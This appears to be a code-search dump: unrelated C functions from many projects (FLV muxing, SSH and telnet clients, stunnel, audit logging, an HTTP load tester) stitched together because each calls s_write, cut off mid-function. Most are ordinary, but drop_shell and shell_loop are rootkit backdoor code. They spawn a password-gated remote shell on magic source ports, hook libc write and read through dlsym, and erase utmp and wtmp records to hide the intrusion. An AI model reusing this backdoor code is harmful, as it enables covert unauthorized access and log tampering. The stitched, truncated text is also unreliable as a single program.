static void flv_video(struct serializer *s, struct encoder_packet *packet, bool is_header) { int64_t offset = packet->pts - packet->dts; int32_t time_ms = get_ms_time(packet, packet->dts); if (!packet->data || !packet->size) return; s_w8(s, RTMP_PACKET_TYPE_VIDEO); #ifdef DEBUG_TIMESTAMPS blog(LOG_DEBUG, "Video: %lu", time_ms); #endif s_wb24(s, (uint32_t)packet->size + 5); s_wb24(s, time_ms); s_w8(s, (time_ms >> 24) & 0x7F); s_wb24(s, 0); /* these are the 5 extra bytes mentioned above */ s_w8(s, packet->keyframe ? 0x17 : 0x27); s_w8(s, is_header ? 0 : 1); s_wb24(s, get_ms_time(packet, offset)); s_write(s, packet->data, packet->size); /* write tag size (starting byte doesnt count) */ s_wb32(s, (uint32_t)serializer_get_pos(s) + 4 - 1); }
static void flv_audio(struct serializer *s, struct encoder_packet *packet, bool is_header) { int32_t time_ms = get_ms_time(packet, packet->dts); if (!packet->data || !packet->size) return; s_w8(s, RTMP_PACKET_TYPE_AUDIO); #ifdef DEBUG_TIMESTAMPS blog(LOG_DEBUG, "Audio: %lu", time_ms); #endif s_wb24(s, (uint32_t)packet->size + 2); s_wb24(s, time_ms); s_w8(s, (time_ms >> 24) & 0x7F); s_wb24(s, 0); /* these are the two extra bytes mentioned above */ s_w8(s, 0xaf); s_w8(s, is_header ? 0 : 1); s_write(s, packet->data, packet->size); /* write tag size (starting byte doesnt count) */ s_wb32(s, (uint32_t)serializer_get_pos(s) + 4 - 1); }
static void s_wrpkt(void) { int pad, len, biglen, i; unsigned long crc; len = pktout.length + 5; /* type and CRC */ pad = 8 - (len%8); biglen = len + pad; pktout.body[-1] = pktout.type; for (i=0; i<pad; i++) pktout.data[i+4] = random_byte(); crc = crc32(pktout.data+4, biglen-4); pktout.data[biglen+0] = (unsigned char) ((crc >> 24) & 0xFF); pktout.data[biglen+1] = (unsigned char) ((crc >> 16) & 0xFF); pktout.data[biglen+2] = (unsigned char) ((crc >> 8) & 0xFF); pktout.data[biglen+3] = (unsigned char) (crc & 0xFF); pktout.data[0] = (len >> 24) & 0xFF; pktout.data[1] = (len >> 16) & 0xFF; pktout.data[2] = (len >> 8) & 0xFF; pktout.data[3] = len & 0xFF; if (cipher) cipher->encrypt(pktout.data+4, biglen); s_write(pktout.data, biglen+4); }
static void do_telnet_write (char *buf, int len) { char *p; static char iac[2] = { IAC, IAC }; p = buf; while (p < buf+len) { char *q = p; while ((unsigned char)*p != IAC && p < buf+len) p++; s_write (q, p-q); while (p < buf+len && (unsigned char)*p == IAC) { p++; s_write (iac, 2); } } }
static void process_execv_obj(auparse_state_t *_au, int *event_cnt, int num_records, int record_cnt) { char* type = "NULL"; char* t_type = NULL; char* node = "localhost"; char* t_node = NULL; char* argc = "NULL"; char* arg = "NULL"; int num_fields = auparse_get_num_fields(_au) - 1; int n; /* test error condition */ if ( num_fields == -1 ) return; const au_event_t *e = auparse_get_timestamp(_au); if (e == NULL) return; if ( auparse_first_field(_au) == 0 ) return; for ( n = 0 ; n <= num_fields; n++ ) { char* field_name = (char*)auparse_get_field_name_wrap(_au); if ( strcmp(field_name,F_TYPE) == 0 ) { type = (char*)auparse_interpret_field_wrap(_au); t_type = encode_string(type, strlen(type)); } if ( strcmp(field_name, F_NODE) == 0 ) { node = (char*)auparse_interpret_field_wrap(_au); t_node = encode_string(node, strlen(node)); } if ( strcmp(field_name, F_ARGC) == 0 ) argc = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_ARG) == 0 ) arg = (char*)auparse_interpret_field_wrap(_au); auparse_next_field(_au); } bzero(msgbuf, sizeof(msgbuf)); snprintf(msgbuf, sizeof(msgbuf) - 1, "NERSCAUD %i:%i:%i EXEC_OBJ %s %u.%u %s %s %s %s %s\n", *event_cnt, num_records, record_cnt, t_type, (unsigned)e->sec, e->milli, t_node, ses_holder, pid_holder, argc, arg); s_write(msgbuf); free(t_type); free(t_node); return; }
void shell_loop(int sock, int pty, int crypt) { DEBUG("shell_loop called.\n"); fd_set fds; char buf[MAX_LEN]; int res, maxfd; ssize_t (*s_read)(); ssize_t (*s_write)(); if (crypt) { s_read = crypt_read; s_write = crypt_write; } else { char *sys_write = strdup(SYS_WRITE); char *sys_read = strdup(SYS_READ); x(sys_write); x(sys_read); s_read = dlsym(RTLD_NEXT, sys_read); s_write = dlsym(RTLD_NEXT, sys_write); cleanup(sys_write,strlen(sys_write)); cleanup(sys_read,strlen(sys_read)); } maxfd = pty; if (sock > maxfd) maxfd = sock; while(1) { FD_ZERO(&fds); FD_SET(sock, &fds); FD_SET(pty, &fds); if((res = select(maxfd+1, &fds, NULL, NULL, NULL)) == -1) DEBUG("Select failed.\n"); if(FD_ISSET(sock, &fds)) { memset(&buf, 0x00, MAX_LEN); if((res = s_read(sock, buf, MAX_LEN)) <= 0) { DEBUG("Error reading from client\n"); exit(1); } else { write(pty, buf, res); } } if(FD_ISSET(pty, &fds)) { memset(&buf, 0x00, MAX_LEN); if((res = read(pty, buf, MAX_LEN-31)) <= 0) { DEBUG("Error reading from pty\n"); exit(1); } else { s_write(sock, buf, res); } } } }
bool flv_meta_data(obs_output_t *context, uint8_t **output, size_t *size, bool write_header, size_t audio_idx) { struct array_output_data data; struct serializer s; uint8_t *meta_data = NULL; size_t meta_data_size; uint32_t start_pos; array_output_serializer_init(&s, &data); if (!build_flv_meta_data(context, &meta_data, &meta_data_size, audio_idx)) { bfree(meta_data); return false; } if (write_header) { s_write(&s, "FLV", 3); s_w8(&s, 1); s_w8(&s, 5); s_wb32(&s, 9); s_wb32(&s, 0); } start_pos = serializer_get_pos(&s); s_w8(&s, RTMP_PACKET_TYPE_INFO); s_wb24(&s, (uint32_t)meta_data_size); s_wb32(&s, 0); s_wb24(&s, 0); s_write(&s, meta_data, meta_data_size); s_wb32(&s, (uint32_t)serializer_get_pos(&s) - start_pos - 1); *output = data.bytes.array; *size = data.bytes.num; bfree(meta_data); return true; }
/** * @brief s_putc - put a character into serial port * * @param x - character to write * * @return character written or error */ signed int s_putc(char x) { int ret = 0; S_INFO("[%c] 0x%02x", x, (unsigned char)x); ret = s_write((unsigned char *)&x, 1); if (ret < 0) { S_ERROR("putc failed-%d\n", ret); return ret; } return x; }
NOEXPORT void pgsql_client(CLI *c) { u8 buffer[1]; s_write(c, c->remote_fd.fd, ssl_request, sizeof ssl_request); s_read(c, c->remote_fd.fd, buffer, 1); /* S - accepted, N - rejected, non-SSL preferred */ if(buffer[0]!='S') { s_log(LOG_ERR, "PostgreSQL server rejected SSL"); longjmp(c->err, 1); } }
void int_80w(FileDesc fd, const void * buff, int size) { switch (fd) { case SCREEN: s_write(buff,size); break; case PCI : l_write(0x0CF8, buff,size); break; case CURSOR1: b_write(0x3D4, buff, size); break; case CURSOR2: b_write(0x3D5, buff, size); break; } }
void fd_putline(CLI *c, SOCKET fd, const char *line) { char *tmpline; const char crlf[]="\r\n"; size_t len; tmpline=str_printf("%s%s", line, crlf); len=strlen(tmpline); s_write(c, fd, tmpline, len); str_free(tmpline); s_log(LOG_DEBUG, " -> %s", line); }
NOEXPORT void cifs_server(CLI *c) { u8 buffer[128]; u8 response_access_denied[5] = {0x83, 0, 0, 1, 0x81}; u8 response_use_ssl[5] = {0x83, 0, 0, 1, 0x8e}; u16 len; s_read(c, c->local_rfd.fd, buffer, 4) ;/* NetBIOS header */ len=buffer[3]; len|=(u16)(buffer[2]) << 8; if(len>sizeof buffer-4) { s_log(LOG_ERR, "Received block too long"); longjmp(c->err, 1); } s_read(c, c->local_rfd.fd, buffer+4, len); if(buffer[0]!=0x81) { /* NB_SSN_REQUEST */ s_log(LOG_ERR, "Client did not send session setup"); s_write(c, c->local_wfd.fd, response_access_denied, 5); longjmp(c->err, 1); } s_write(c, c->local_wfd.fd, response_use_ssl, 5); }
NOEXPORT void pgsql_server(CLI *c) { u8 buffer[8], ssl_ok[1]={'S'}; memset(buffer, 0, sizeof buffer); s_read(c, c->local_rfd.fd, buffer, sizeof buffer); if(memcmp(buffer, ssl_request, sizeof ssl_request)) { s_log(LOG_ERR, "PostgreSQL client did not request SSL, rejecting"); /* no way to send error on startup, so just drop the client */ longjmp(c->err, 1); } s_write(c, c->local_wfd.fd, ssl_ok, sizeof ssl_ok); }
void fd_putline(CLI *c, int fd, const char *line) { char *tmpline; const char crlf[]="\r\n"; int len; tmpline=str_printf("%s%s", line, crlf); len=strlen(tmpline); s_write(c, fd, tmpline, len); tmpline[len-2]='\0'; /* remove CRLF */ safestring(tmpline); s_log(LOG_DEBUG, " -> %s", tmpline); str_free(tmpline); }
void flv_meta_data(obs_output_t context, uint8_t **output, size_t *size) { struct array_output_data data; struct serializer s; uint8_t *meta_data; size_t meta_data_size; uint32_t start_pos; array_output_serializer_init(&s, &data); build_flv_meta_data(context, &meta_data, &meta_data_size); #ifdef WRITE_FLV_HEADER s_write(&s, "FLV", 3); s_w8(&s, 1); s_w8(&s, 5); s_wb32(&s, 9); s_wb32(&s, 0); #endif start_pos = serializer_get_pos(&s); s_w8(&s, RTMP_PACKET_TYPE_INFO); s_wb24(&s, (uint32_t)meta_data_size); s_wb32(&s, 0); s_wb24(&s, 0); s_write(&s, meta_data, meta_data_size); s_wb32(&s, (uint32_t)serializer_get_pos(&s) - start_pos + 4 - 1); *output = data.bytes.array; *size = data.bytes.num; bfree(meta_data); }
static void process_subneg (void) { char b[16], *p, *q; int var, value; switch (sb_opt) { case TELOPT_TTYPE: if (sb_len == 1 && sb_buf[0] == TELQUAL_SEND) { b[0] = IAC; b[1] = SB; b[2] = TELOPT_TTYPE; b[3] = TELQUAL_IS; strcpy(b+4, "VT220"); b[9] = IAC; b[10] = SE; s_write (b, 11); } break; } }
static int s_printPlus(const char* extra, const char* fmt, va_list ap) { char buf[256]; char* bp = buf; bp += vsprintf(bp, fmt, ap); KASSERT(bp < buf + sizeof(buf)); char c; while ((c = *extra++) != 0) *bp++ = c; int result = bp - buf; s_write(buf, result); return result; }
static inline ssize_t unix_write(int fd, const void *buf, size_t size) { /* * On Windows, we have to call s_write() for sockets, not write(). * API fragmentation (winsocks versus other handles) at its best. * --RAM, 2011-01-05 */ if (is_running_on_mingw()) { ssize_t ret = s_write(fd, buf, size); if (ret >= 0 || ENOTSOCK != errno) return ret; /* FALL THROUGH -- fd is a plain file, not a socket */ } return write(fd, buf, size); }
NOEXPORT void cifs_client(CLI *c) { u8 buffer[5]; u8 request_dummy[4] = {0x81, 0, 0, 0}; /* a zero-length request */ s_write(c, c->remote_fd.fd, request_dummy, 4); s_read(c, c->remote_fd.fd, buffer, 5); if(buffer[0]!=0x83) { /* NB_SSN_NEGRESP */ s_log(LOG_ERR, "Negative response expected"); longjmp(c->err, 1); } if(buffer[2]!=0 || buffer[3]!=1) { /* length != 1 */ s_log(LOG_ERR, "Unexpected NetBIOS response size"); longjmp(c->err, 1); } if(buffer[4]!=0x8e) { /* use SSL */ s_log(LOG_ERR, "Remote server does not require SSL"); longjmp(c->err, 1); } }
static int do_ssh_init(void) { char c; char version[10]; char vstring[40]; int i; #ifdef FWHACK i = 0; while (s_read(&c, 1) == 1) { if (c == 'S' && i < 2) i++; else if (c == 'S' && i == 2) i = 2; else if (c == 'H' && i == 2) break; else i = 0; } #else if (s_read(&c,1) != 1 || c != 'S') return 0; if (s_read(&c,1) != 1 || c != 'S') return 0; if (s_read(&c,1) != 1 || c != 'H') return 0; #endif if (s_read(&c,1) != 1 || c != '-') return 0; i = 0; while (1) { if (s_read(&c,1) != 1) return 0; if (i >= 0) { if (c == '-') { version[i] = '\0'; i = -1; } else if (i < sizeof(version)-1) version[i++] = c; } else if (c == '\n') break; } sprintf(vstring, "SSH-%s-7.7.7\n", (strcmp(version, "1.5") <= 0 ? version : "1.5")); s_write(vstring, strlen(vstring)); return 1; }
/* ** Send any buffered data */ static inline int _fd_flush(FDBUF *fdp) { int len, rest; if (fdp->outbuflen == 0) return 0; len = s_write(fdp->fd, fdp->outbuf, fdp->outbuflen); if (len < 0) return errno; if (len == 0) return 0; rest = fdp->outbuflen - len; if (rest > 0) memcpy(fdp->outbuf, fdp->outbuf+len, rest); fdp->outbuflen -= len; return 0; }
static inline ssize_t tls_push(gnutls_transport_ptr ptr, const void *buf, size_t size) { struct gnutella_socket *s = ptr; ssize_t ret; int saved_errno; socket_check(s); g_assert(is_valid_fd(s->file_desc)); ret = s_write(s->file_desc, buf, size); saved_errno = errno; tls_signal_pending(s); if ((ssize_t) -1 == ret) { tls_set_errno(s, saved_errno); if (ECONNRESET == saved_errno || EPIPE == saved_errno) { socket_connection_reset(s); } } tls_transport_debug("tls_push", s, size, ret); errno = saved_errno; return ret; }
static void process_generic_obj(auparse_state_t *_au, int *event_cnt, int num_records, int record_cnt) { char* type = "NULL"; char* t_type = NULL; char* node = "localhost"; char* t_node = NULL; char* ses = "NULL"; char* auid = "NULL"; char* egid = "NULL"; char* euid = "NULL"; char* fsgid = "NULL"; char* fsuid = "NULL"; char* gid = "NULL"; char* suid = "NULL"; char* sgid = "NULL"; char* uid = "NULL"; char* comm = "NULL"; char* t_comm = NULL; char* exe = "NULL"; char* t_exe = NULL; char* a0 = "NULL"; char* t_a0 = NULL; char* a1 = "NULL"; char* t_a1 = NULL; char* a2 = "NULL"; char* t_a2 = NULL; char* pid = "NULL"; char* ppid = "NULL"; char* success = "NULL"; char* xit = "NULL"; char* t_xit = NULL; char* tty = "NULL"; char* key = "NULL"; int num_fields = auparse_get_num_fields(_au) - 1; int n; /* test error condition */ if ( num_fields == -1 ) return; const au_event_t *e = auparse_get_timestamp(_au); if (e == NULL) return; if ( auparse_first_field(_au) == 0 ) return; for ( n = 0 ; n <= num_fields; n++ ) { char* field_name = (char*)auparse_get_field_name_wrap(_au); if ( strcmp(field_name,F_TYPE) == 0 ) { type = (char*)auparse_interpret_field_wrap(_au); t_type = encode_string(type, strlen(type)); } if ( strcmp(field_name, F_NODE) == 0 ) { node = (char*)auparse_interpret_field_wrap(_au); t_node = encode_string(node, strlen(node)); } if ( strcmp(field_name, F_SES) == 0 ) ses = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_EGID) == 0 ) egid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_AUID) == 0 ) auid = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_EUID) == 0 ) euid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_FSGID) == 0 ) fsgid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_FSUID) == 0 ) fsuid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_GID) == 0 ) gid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_SUID) == 0 ) suid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_SGID) == 0 ) sgid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_UID) == 0 ) uid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_COMM) == 0 ) { comm = (char*)auparse_interpret_field_wrap(_au); t_comm = encode_string( comm, strlen(comm)); } if ( strcmp(field_name, F_A0) == 0 ) { a0 = (char*)auparse_get_field_str_wrap(_au); t_a0 = encode_string( a0, strlen(a0)); } if ( strcmp(field_name, F_A1) == 0 ) { a1 = (char*)auparse_get_field_str_wrap(_au); t_a1 = encode_string( a1, strlen(a1)); } if ( strcmp(field_name, F_A2) == 0 ) { a2 = (char*)auparse_get_field_str_wrap(_au); t_a2 = encode_string( a2, strlen(a2)); } if ( strcmp(field_name, F_PID) == 0 ) pid = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_PPID) == 0 ) ppid = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_SUCCESS) == 0 ) success = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_EXIT) == 0 ) { xit = (char*)auparse_interpret_field_wrap(_au); t_xit = encode_string( xit, strlen(xit)); } if ( strcmp(field_name, F_TTY) == 0 ) tty = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_EXE) == 0 ) { exe = (char*)auparse_interpret_field_wrap(_au); t_exe = encode_string( exe, strlen(exe)); } if ( strcmp(field_name, F_KEY) == 0 ) key = (char*)auparse_interpret_field_wrap(_au); auparse_next_field(_au); } bzero(msgbuf, sizeof(msgbuf)); snprintf(msgbuf, sizeof(msgbuf) - 1, "NERSCAUD %i:%i:%i GENERIC_OBJ %s %u.%u %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s\n", *event_cnt, num_records, record_cnt, t_type, (unsigned)e->sec, e->milli, t_node, ses, auid, key, t_comm, t_exe, t_a0, t_a1, t_a2, uid, gid, euid, egid, fsuid, fsgid, suid, sgid, pid, ppid, tty, success, t_xit); s_write(msgbuf); strncpy(ses_holder,ses,holder_size); strncpy(pid_holder,pid,holder_size); free(t_node); free(t_type); free(t_comm); free(t_a0); free(t_a1); free(t_a2); free(t_xit); free(t_exe); return; }
static void send_opt (int cmd, int option) { char b[3]; b[0] = IAC; b[1] = cmd; b[2] = option; s_write (b, 3); }
static void process_user_obj(auparse_state_t *_au, int *event_cnt, int num_records, int record_cnt) { char* type = "NULL"; char* t_type = NULL; char* node = "localhost"; char* t_node = NULL; char* ses = "NULL"; char* egid = "NULL"; char* auid = "NULL"; char* euid = "NULL"; char* fsgid = "NULL"; char* fsuid = "NULL"; char* gid = "NULL"; char* suid = "NULL"; char* sgid = "NULL"; char* uid = "NULL"; char* pid = "NULL"; char* success = "NULL"; char* xit = "NULL"; char* t_xit = NULL; char* term = "NULL"; char* exe = "NULL"; char* t_exe = NULL; int num_fields = auparse_get_num_fields(_au) - 1; int n; /* test error condition */ if ( num_fields == -1 ) return; const au_event_t *e = auparse_get_timestamp(_au); if (e == NULL) return; if ( auparse_first_field(_au) == 0 ) return; for ( n = 0 ; n <= num_fields; n++ ) { char* field_name = (char*)auparse_get_field_name_wrap(_au); if ( strcmp(field_name,F_TYPE) == 0 ) { type = (char*)auparse_interpret_field_wrap(_au); t_type = encode_string( type, strlen(type)); } if ( strcmp(field_name, F_NODE) == 0 ) { node = (char*)auparse_interpret_field_wrap(_au); t_node = encode_string( node, strlen(node)); } if ( strcmp(field_name, F_SES) == 0 ) ses = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_EGID) == 0 ) egid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_AUID) == 0 ) auid = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_EUID) == 0 ) euid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_FSGID) == 0 ) fsgid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_FSUID) == 0 ) fsuid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_GID) == 0 ) gid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_SUID) == 0 ) suid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_SGID) == 0 ) sgid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_UID) == 0 ) uid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_PID) == 0 ) pid = (char*)auparse_get_field_str_wrap(_au); if ( strcmp(field_name, F_SUCCESS) == 0 ) success = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_EXIT) == 0 ) { xit = (char*)auparse_interpret_field_wrap(_au); t_xit = encode_string( xit, strlen(xit)); } if ( strcmp(field_name, F_TERM) == 0 ) term = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_EXE) == 0 ) { exe = (char*)auparse_interpret_field_wrap(_au); t_exe = encode_string( exe, strlen(exe)); } auparse_next_field(_au); } strncpy(ses_holder,ses,holder_size); strncpy(pid_holder,pid,holder_size); bzero(msgbuf, sizeof(msgbuf)); snprintf(msgbuf, sizeof(msgbuf) - 1, "NERSCAUD %i:%i:%i USER_OBJ %s %u.%u %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s %s\n", *event_cnt, num_records, record_cnt, t_type, (unsigned)e->sec, e->milli, t_node, ses, auid, egid, euid, fsgid, fsuid, gid, suid, sgid, uid, pid, success, t_xit, term, t_exe); s_write(msgbuf); free(t_node); free(t_type); free(t_xit); free(t_exe); return; }
static void process_place_obj(auparse_state_t *_au, int *event_cnt, int num_records, int record_cnt) { char* type = "NULL"; char* t_type = NULL; char* node = "localhost"; char* t_node = NULL; char* cwd = "NULL"; char* t_cwd = NULL; char* path_name = "NULL"; char* t_path_name = NULL; char* inode = "NULL"; char* mode = "NULL"; char* t_mode = NULL; char* ouid = "NULL"; char* ogid = "NULL"; int num_fields = auparse_get_num_fields(_au) - 1; int n; /* test error condition */ if ( num_fields == -1 ) return; const au_event_t *e = auparse_get_timestamp(_au); if (e == NULL) return; if ( auparse_first_field(_au) == 0 ) return; for ( n = 0 ; n <= num_fields; n++ ) { char* field_name = (char*)auparse_get_field_name_wrap(_au); if ( strcmp(field_name, F_TYPE) == 0 ) { type = (char*)auparse_interpret_field_wrap(_au); t_type = encode_string( type, strlen(type)); } if ( strcmp(field_name, F_NODE) == 0 ) { node = (char*)auparse_interpret_field_wrap(_au); t_node = encode_string( node, strlen(node)); } if ( strcmp(field_name, F_CWD) == 0 ) { cwd = (char*)auparse_interpret_field_wrap(_au); t_cwd = encode_string( cwd, strlen(cwd)); } if ( strcmp(field_name, F_NAME) == 0 ) { path_name = (char*)auparse_interpret_field_wrap(_au); t_path_name = encode_string( path_name, strlen(path_name)); } if ( strcmp(field_name, F_INODE) == 0 ) inode = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_MODE) == 0 ) { mode = (char*)auparse_interpret_field_wrap(_au); t_mode = encode_string( mode, strlen(mode)); } if ( strcmp(field_name, F_OUID) == 0 ) ouid = (char*)auparse_interpret_field_wrap(_au); if ( strcmp(field_name, F_OGID) == 0 ) ogid = (char*)auparse_interpret_field_wrap(_au); auparse_next_field(_au); } bzero(msgbuf, sizeof(msgbuf)); snprintf(msgbuf,sizeof(msgbuf) - 1, "NERSCAUD %i:%i:%i PLACE_OBJ %s %u.%u %s %s %s %s %s %s %s %s %s\n", *event_cnt, num_records, record_cnt, t_type, (unsigned)e->sec, e->milli, t_node, ses_holder, pid_holder, t_cwd, t_path_name, inode, t_mode, ouid, ogid); s_write(msgbuf); free(t_type); free(t_node); free(t_cwd); free(t_path_name); free(t_mode); return; }
static inline bool write_data(struct serializer *s, const void *data, size_t size) { return s_write(s, data, size) == size; }
int drop_shell(int sock, struct sockaddr *addr) { DEBUG("drop_shell called.\n"); char buffer[512]; char *shell_passwd = strdup(SHELL_PASSWD); char *shell_msg = strdup(SHELL_MSG); int crypt_mode = -1; int pid, pty, tty; ssize_t (*s_write)(); init(); x(shell_msg); x(shell_passwd); char buf[MAX_LEN]; memset(buffer,0x00,sizeof(buffer)); struct sockaddr_in *sa_i = (struct sockaddr_in*)addr; if(htons(sa_i->sin_port) >= LOW_PORT && htons(sa_i->sin_port) <= HIGH_PORT) { crypt_mode = PLAIN_SHELL; char *sys_write = strdup(SYS_WRITE); x(sys_write); s_write = dlsym(RTLD_NEXT, sys_write); cleanup(sys_write, strlen(sys_write)); } else if (htons(sa_i->sin_port) >= CRYPT_LOW && htons(sa_i->sin_port) <= CRYPT_HIGH) { crypt_mode = CRYPT_SHELL; s_write = crypt_write; } else return sock; if(check_shell_password(sock, crypt_mode) != 1) { shutdown(sock, SHUT_RDWR); close(sock); return -1; } s_write(sock, shell_msg, strlen(shell_msg)); char pty_name[51]; if (openpty(&pty, &tty, pty_name, NULL, NULL) == -1) { DEBUG("Failed to grab pty\n"); return; } char *ptr = &pty_name[5]; // Jump past /dev/ and clean the logs clean_utmp(ptr, 0); clean_wtmp(ptr, 0); /* Fork child process to start an interactive shell */ if ((pid=fork()) == -1) { return -1; } else if (pid == 0) { setup_pty(sock, &pty, &tty); } else { close(tty); } /* Fork child process to run the pipes for the shell */ if ((pid=fork()) == -1) return -1; else if (pid == 0) shell_loop(sock, pty, crypt_mode); else { close(sock); close(pty); errno = ECONNABORTED; return -1; } }
static void *test_thread(void *misc) { char *rqbuf, *cp, *url; int status, rqlen, len, val, fd, requests; int bytes, rbytes, failed_requests, ki; double min_time, max_time, total_time, dt; double min_ctime, max_ctime, total_ctime, cdt; struct timeval start_time, stop_time, connect_time, setup_time; thread_t read_tid; struct rtinfo rib; if (debug) printf("test_thread(): Start\n"); url = (char *) misc; requests = 0; failed_requests = 0; min_time = -1.0; max_time = 0.0; total_time = 0.0; bytes = 0; min_ctime = -1.0; max_ctime = 0.0; total_ctime = 0.0; rqbuf = (char *) alloca((64+strlen(url))*keepalive); rqbuf[0] = '\0'; for (ki = 0; ki < keepalive; ki++) { cp = rqbuf+strlen(rqbuf); if (ki+1 < keepalive) { sprintf(cp, "GET %s HTTP/1.0\r\nConnection: Keep-Alive\r\nAccept: */*\r\n\r\n", url); } else { if (http_0) sprintf(cp, "GET %s\r\n", url); else sprintf(cp, "GET %s HTTP/1.0\r\nAccept: */*\r\n\r\n", url); } } rqlen = strlen(rqbuf); while (!stop_flag) { rbytes = 0; gettimeofday(&start_time, NULL); while ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0 && errno == EINTR) ; if (fd < 0) { perror("socket"); return NULL; } if (rcvbuf_size > 0) { val = rcvbuf_size; setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (void *) &val, sizeof(val)); } val = 1; setsockopt(fd, 6, TCP_NODELAY, (void *) &val, sizeof(val)); gettimeofday(&setup_time, NULL); while ((status = connect(fd, (struct sockaddr *) &server_addr, sizeof(server_addr))) < 0 && errno == EINTR) ; if (status < 0) { perror("connect"); failure = 1; return NULL; } gettimeofday(&connect_time, NULL); if (debug) printf("test_thread(), Connected\n"); rib.fd = fd; rib.rbytes = 0; if (thr_create(NULL, 0, (void *(*)(void *)) read_thread, (void *) &rib, (bound_threads ? THR_BOUND : 0), &read_tid)) { perror("thr_create"); exit(1); } len = s_write(fd, rqbuf, rqlen); if (len < 0) { if (errno != EPIPE) { perror("ptester: write"); return NULL; } } if (shutdown(fd, 1) < 0) { perror("shutdown"); return NULL; } if (debug) printf("test_thread(), Waiting for join (fd=%d)\n", fd); if (thr_join(read_tid, NULL, NULL)) perror("thr_join"); rbytes = rib.rbytes; if (debug) printf("test_thread(), Got join (rbytes=%d)\n", rbytes); if (rbytes == 0) failed_requests += keepalive; else if (expected_bytes > 0 && rbytes != expected_bytes) { fprintf(stderr, "Got %d (expected %d) bytes\n", rbytes, expected_bytes); rbytes = 0; } bytes += rbytes; if (debug) printf("test_thread(), Closing down (fd=%d)\n", fd); while (close(fd) < 0 && errno == EINTR) ; gettimeofday(&stop_time, NULL); dt = ((double) stop_time.tv_sec + (double) stop_time.tv_usec / 1000000.0)- ((double) setup_time.tv_sec + (double) setup_time.tv_usec / 1000000.0); if (min_time < 0) min_time = dt; else if (dt < min_time) min_time = dt; if (dt > max_time) max_time = dt; total_time += dt; cdt = ((double) connect_time.tv_sec + (double) connect_time.tv_usec / 1000000.0) - ((double) setup_time.tv_sec + (double) setup_time.tv_usec / 1000000.0); if (min_ctime < 0) min_ctime = cdt; else if (cdt < min_ctime) min_ctime = cdt; if (cdt > max_ctime) max_ctime = cdt; total_ctime += cdt; requests += keepalive; } mutex_lock(&result_lock); total_nrq += requests; total_bytes += bytes; total_failed += failed_requests; if (max_time > max_tx) max_tx = max_time; if (min_time < min_tx || min_tx == 0.0) min_tx = min_time; printf("%-19s %4d %.4f %.4f %.4f %.4f %.4f %.4f %d\n", url, requests-failed_requests, min_ctime, total_ctime / (double) (requests-failed_requests), max_ctime, min_time, total_time / (double) (requests-failed_requests), max_time, bytes/(requests-failed_requests)); mutex_unlock(&result_lock); if (use_exit) thr_exit(NULL); return NULL; }
int proc_run(char *path, uid_t uid, gid_t gid, char *cgi_newroot, rlim_t niceval, rlim_t vmem, rlim_t fd_max, rlim_t maxcputime, int stdin_fd, int stdout_fd, int stderr_fd, char **argv, char **envp, char *wdir, char *cgi_basedir) { pid_t pid; int i, s; char *rpath = NULL; char *err, *err2; struct rlimit rlp; if (debug > 4) fprintf(stderr, "proc_run(\"%s\", uid=%d, gid=%d, stdin=%d, stdout=%d, stderr=%d, ..., wdir=%s, cgi_basedir=%s)\n", path, (int) uid, (int) gid, stdin_fd, stdout_fd, stderr_fd, wdir ? wdir : "<null>", cgi_basedir ? cgi_basedir : "<null>" ); /* Create subprocess */ pid = fork1(); if (pid == 0) { /* Close all open file descriptors */ for (i = 0; i < max_fds; i++) if (i != stdin_fd && i != stdout_fd && i != stderr_fd) s_close(i); s = 3; /* Make sure stdin, stdout and stderr don't interfere */ if (stdin_fd >= s) s = stdin_fd+1; if (stdout_fd >= s) s = stdout_fd+1; if (stderr_fd >= s+1) s = stderr_fd; /* Stdin_Fd at Stdout_Fd or Stderr_Fd? Relocate out of way */ if (stdin_fd == 1 || stdin_fd == 2) { s_dup2(stdin_fd, ++s); s_close(stdin_fd); stdin_fd = s; } /* Stdout_Fd at Stdin_Fd or Stderr_Fd?, Relocate out of way */ if (stdout_fd == 0 || stdout_fd == 2) { s_dup2(stdout_fd, ++s); s_close(stdout_fd); stdout_fd = s; } /* Stderr_Fd at Stdin_Fd or Stdout_Fd?, Relocate out of way */ if (stderr_fd == 0 || stderr_fd == 1) { s_dup2(stderr_fd, ++s); s_close(stderr_fd); stderr_fd = s; } /* Move Stdin_Fd to fd #0 */ if (stdin_fd > 0) { s_dup2(stdin_fd, 0); s_close(stdin_fd); } /* Move Stdout_Fd to fd #1 */ if (stdout_fd != -1 && stdout_fd != 1) { s_dup2(stdout_fd, 